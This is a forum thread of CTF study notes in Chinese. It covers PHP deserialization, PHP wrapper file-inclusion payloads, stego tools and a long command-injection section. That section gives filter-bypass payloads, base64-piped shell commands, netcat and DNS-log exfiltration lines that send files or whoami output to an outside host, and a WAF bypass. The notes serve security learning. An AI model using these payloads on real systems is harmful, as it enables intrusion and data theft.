安全矩阵

 找回密码
 立即注册
搜索
查看: 10793|回复: 40

邹政的凌晨学习日记

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2021-10-8 03:49:23 | 显示全部楼层 |阅读模式
绕过__wakeup函数,对私有变量进行重构教程:


                                   反序列化漏洞利用总结 - FreeBuf网络安全行业门户

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护


class test{

    public $name = 'xiaohua';  

    private $address = 'shanxi';  

    protected $age = '21';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}


Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

通过对网页抓取输出是这样的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() :unserialize()时会自动调用

(3) __destruct():当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发


优秀例题:


回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-8 03:49:51 | 显示全部楼层
php常见伪协议
官方文档:https://www.php.net/manual/zh/wrappers.php
官网文档说的是php伪协议就是内置的URL风格的封装协议。除了内置的封装协议,也可以自己注册封装自定义协议。以下是常见的几种内置封装协议。
file://
作用:访问本地文件系统
使用方法:file://文件的绝对路径和文件名
eg:http://127.0.0.1/cmd.php?file=fi ... udy/WWW/phpcode.txt
php://filter
作用:读取文件源码,并将base64编码之后的源码输出
eg: http://127.0.0.1/1/php.php?file= ... code/resource=a.php
php://input
条件: allow_url_include 需要设置为 On
作用:以post形式执行php代码。
使用:
        http://127.0.0.1/1/php.php?file=php://input
        post数据:        <?php phpinfo();?>
data://
作用:发送数据到服务端
条件:这里allow_url_include 和 allow_url_fopen 都需要设置为 On, PHP>=5.2.0,一般用base64编码传输。
eg:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
zip://
payload:
http://127.0.0.1/lab13.php?file=zip://C:\Users\yale\Desktop\test.zip#zip.txt
事实上zip后缀改为jpg仍能正常解析
http://127.0.0.1/lab13.php?file=zip://C:\Users\yale\Desktop\test.jpg%23zip.txt
zlib://
payload
http://127.0.0.1/lab13.php?file=compress.zlib://C:\Users\yale\Desktop\zip.jpg
这里隆重推荐一下这个ctf题目很有帮助:
BUUCTF——[极客大挑战 2019]Secret File 1
通过他过滤的部分联想到php伪协议
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-9 16:13:40 | 显示全部楼层

misc一般包括以下几个方面
文件编码转换
给一段base64,二进制,莫斯电码、jsfuck等让你转换
文件隐形
图片隐写,pdf隐形,隐藏文件。
文件修复
破坏了文件结构,比如去掉了图片的文件头,
流量取证
给你一些数据包,让你分析
内存取证
内存取证一般指对计算机及相关智能设备运行时的物理内存中存储的临时数据进行获取与分析,提取flag或者与flag相关重要信息。开源内存分析框架--Volatility
社会工程学
隐写
ctf中一般将flag隐藏到图片,音频等各类载体中,常常和混淆、编码、密码学等结合。


文件识别
后缀识别
工具识别
file命令,通过文件头部信息获取文件类型。一般文件文件头不一样,但有的word跟zip文件头一样。


常见隐写工具
010editor, winhex                                16进制编辑器
strings           提取文件字符串
binwalk
foremost
file
stegsolve
steghide      
PS
Pillow         python中的一个图像处理模块
PNGcheck       png结构完整性检测工具。
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-9 16:18:50 | 显示全部楼层
JPG              前2个字节: FF D8

PNG             前8个字节:89 50 4E 47 OD OA 1A 0A

BMP             前2个字节: 42 4D

GIF              前4个字节:47494638

ZIP              前4个字节:504B0304

RAR             前4个字节:52617271

tar.gz           前2个字节: 1F 8B

MP3             前4个字节:49443303

WAV            前4个字节:52494646

Zlib               前四个字节: 78 9c 5d 91
回复

使用道具 举报

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2021-10-9 21:01:51 | 显示全部楼层
呜呜ww邹政学长太强了
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-10 20:20:07 | 显示全部楼层
Meng0f 发表于 2021-10-9 21:01
呜呜ww邹政学长太强了

好家伙,搁这儿呢搁这儿呢
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-10 20:25:13 | 显示全部楼层
select  1 from ..., sql语句中的1代表什么意思?查出来是个什么结果?
select 1 from table;与select anycol(目的表集合中的任意一行) from table;

select * from table
从作用上来说是没有差别的,都是查看是否有记录,一般是作条件查询用的。select 1 from 中的1是一常量(可以为任意数值),查到的所有行的值都是它,但从效率上来说,1>anycol>*,因为不用查字典表。
1:select  1 from kc     增加临时列,每行的列值是写在select后的数,这条sql语句中是1

2:select count(1)  from kc   不管count(a)的a值如何变化,得出的值总是kc表的行数

3:select sum(1) from kc   计算临时列的和
实际可以这样理解:
这里会增加一个临时列,它的列名是1,然后那一列的值都为1,本来就是用来计数的嘛
举例:
(13条消息) [SUCTF 2019]EasySQL 1(SQL堆叠注入+select 1 from的用法+sql_mode=PIPES_AS_CONCAT)_Alexis_m的博客-CSDN博客
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-12 00:07:58 | 显示全部楼层
0x01:管道符
在用linux命令时候,我们可以一行执行多条命令或者有条件的执行下一条命令,下面我们讲解一下linux命令分号&&和&,|和||的用法
“;”分号用法
方式:command1 ; command2
用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。
“| ”管道符用法
上一条命令的输出,作为下一条命令参数。ctf里面:ping 127.0.0.1 | ls(只执行ls不执行前面的)
方式:command1 | command2
Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推
利用一个管道# rpm -qa|grep licq这条命令使用一个管道符“|”建立了一个管道。管道将rpm -qa命令的输出(包括系统中所有安装的RPM包)作为grep命令的输入,从而列出带有licq字符的RPM包来。
利用多个管道# cat /etc/passwd | grep /bin/bash | wc -l这条命令使用了两个管道,利用第一个管道将cat命令(显示passwd文件的内容)的输出送给grep命令,grep命令找出含有“/bin /bash”的所有行;第二个管道将grep的输出送给wc命令,wc命令统计出输入中的行数。这个命令的功能在于找出系统中有多少个用户使用bash
“&”符号用法 ctf中用法 ping 127.0.0.1 & ls(先执行ls后执行ping)
&放在启动参数后面表示设置此进程为后台进程
方式:command1 &
默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。
“&&”符号用法 ctf中用法 ping 127.0.0.1 && ls(ping命令正确才执行ls 要是ping 1 && ls ls就不会执行)
shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 shell 变量 $? 中。当 $? == 0 时,表示执行成功;当 $? == 1 时(我认为是非0的数,返回值在0-255间),表示执行失败。
有时候,下一条命令依赖前一条命令是否执行成功。如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。shell 提供了 && 和 || 来实现命令执行控制的功能,shell 将根据 && 或 || 前面命令的返回值来控制其后面命令的执行。
语法格式如下:
command1 && command2 [&& command3 ...]
命令之间使用 && 连接,实现逻辑与的功能。只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。
“||”符号用法 和&&相反 左边为假才执行命令二
逻辑或的功能
语法格式如下:
command1 || command2 [|| command3 ...]
命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。 –直到返回真的地方停止执行。
举例,ping命令判断存活主机
    ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1    if [ "$result" == 0 ];then      echo "192.168.1.1 is UP!"        else      echo "192.168.2.1 is DOWN!"    fi注意 &>要连起来写。
0x01:一些绕过方式
linux下
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
ca\t fl\ag
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
windows下
(实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456
通配符绕过
???在linux里面可以进行代替字母
/???/c?t flag.txt
 
nc外带数据
本地监听端口
nc -lvp 9999
命令执行出 ping 127.0.0.0 & nc ip port > key.php
 
内联执行的做法:
?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行
参考链接:
(13条消息) [GXYCTF2019]Ping Ping Ping 1解题思路_生死看淡,不服就干的博客-CSDN博客
第三种是利用DNS管道解析
这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用
|curl `whoami`.xxxx.xxx(子域名)
这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:DNS隧道技术解析 (qq.com)
网络地址转化为数字地址
网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433
可以直接访问
http://2130706433
或者
http://0x7F000001
这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp
 
%0acat%09
%0Acat$IFS$9
%0acat<
注释符

通过查看文件的权限 chmod +777赋予权限

l's' -la
c'h'm'o'd +777 /filename


除了常规的:
----------------------------------------------------------------------------------
cat:由第一行开始显示内容,并将所有内容输出tac:从最后一行倒序显示内容,并将所有内容输出more:根据窗口大小,一页一页的现实文件内容less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符head:只显示头几行tail:只显示最后几行nl:类似于cat -n,显示时输出行号tailf:类似于tail -f
sort%20/flag 读文件
dir来查看当前目录文件
-----------------------------------------------------------------------------------
Linux花式读取文件内容ps:目标是获取flag.txt的内容
static-sh读取文件:
static-sh ./flag.txt#输出结果:./flag.txt: line 1: flag{this_is_a_test}: not found
-----------------------------------------------------------------------------------
paste读取文件:paste ./flag.txt /etc/passwd
#输出结果:flag{this_is_a_test} root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/sync
----------------------------------------------------------------------------------
diff读取文件 :diff ./flag.txt /etc/passwd
#输出结果:1c1,45< flag{this_is_a_test}\ No newline at end of file---> root:x:0:0:root:/root:/bin/bash> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin> bin:x:2:2:bin:/bin:/usr/sbin/nologin> sys:x:3:3:sys:/dev:/usr/sbin/nologin> sync:x:4:65534:sync:/bin:/bin/sync
-----------------------------------------------------------------------------------
od读取文件:
od -a ./flag.txt#输出结果:0000000 f l a g { t h i s _ i s _ a _ t0000020 e s t }0000024
-----------------------------------------------------------------------------------
bzmore读取文件:
bzmore ./flag.txt#输出结果:------> ./flag.txt <------flag{this_is_a_test}
-----------------------------------------------------------------------------------
bzless读取文件:bzless ./flag.txt
echo `bzless ./flag.txt`#输出结果:------> ./flag.txt <------ flag{this_is_a_test}
-----------------------------------------------------------------------------------
curl读取文件:
curl file:///home/coffee/flag
-----------------------------------------------------------------------------------
nc 传输文件
靶机:
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
----------------------------------------------------------------------------------
wget
wget url -P path
 
① 空格过滤空格可以用以下字符串代替:   
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
② 一些命令分隔符   
linux中:%0a 、%0d 、; 、& 、| 、&&、||    windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
绕过空格的方法大概有以下几种:
$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09
ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加\,所以甚至可以ca\t /fl\ag
过滤了 bash可以用sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
 
    拼接flag 1;a=fl;b=ag.php;cat $a$b
1.其中有这么一条过滤方法,我们用上述方法无法绕过,但是我们只要改变一下顺序就可以: 1;a=ag.php;b=fl;cat $b$a绕过空格就用上面提到的$IFS$1完整的payload 1;a=ag.php;b=fl;cat$IFS$1$b$aelse if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}   
2.内联执行绕过payload: cat$IFS$1`ls`
使用内联执行会将 ``内的输出作为前面命令的输入,当我们输入上述payload时,等同于cat falg.php;cat index.php3编码绕过base64:echo YWJjZGU=|base64 -d //打印出来abcdeecho Y2F0IGZhbGcucGhw|base64 -d|bash //cat flag.phpecho Y2F0IGZhbGcucGhw|base64 -d|sh //cat flag.phphex:echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.phpoct:$(printf “\154\163”) //ls$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php
但这种方法因为过滤的原因这这个题上无法实现。对于关键字还可以用单引号和反斜杠绕过 比如 cat fl’'ag cat fl\ag总结一下,这题可用的payload1;a=ag.php;b=fl;cat$IFS$1$b$a和 cat$IFS$1`ls`得到的flag查看源码。补充:当 /被过滤可以使用
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-12 23:22:37 | 显示全部楼层
intval() 函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
语法:
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到
2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64
位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。
举例:
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
例题:
(13条消息) [ACTF2020 新生赛]BackupFile 1_咳 咳!!!我不会....的博客-CSDN博客
2.==(php中两个等于号是弱等于)
取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
            if($key == $str) {//弱比较
                echo $flag;
            }
例题:
(13条消息) [ACTF2020 新生赛]BackupFile 1_咳 咳!!!我不会....的博客-CSDN博客
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-17 00:01:14 | 显示全部楼层
1.1PHP的字符串解析特性
这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
这里通过php函数达到读文件的目的
使用的函数如下:
print_r();                      //输出我们得到的数据
scandir('/');                  //扫根目录下的所有文件
file_get_contents();     //读取我们想要的文件的内容
chr()                            //如果waf不允许我们上传某些符号例如  '  等,那么就转化为char传入
例题:
(13条消息) [RoarCTF 2019]Easy Calc 1_咳 咳!!!我不会....的博客-CSDN博客
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 17:00 , Processed in 0.021775 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表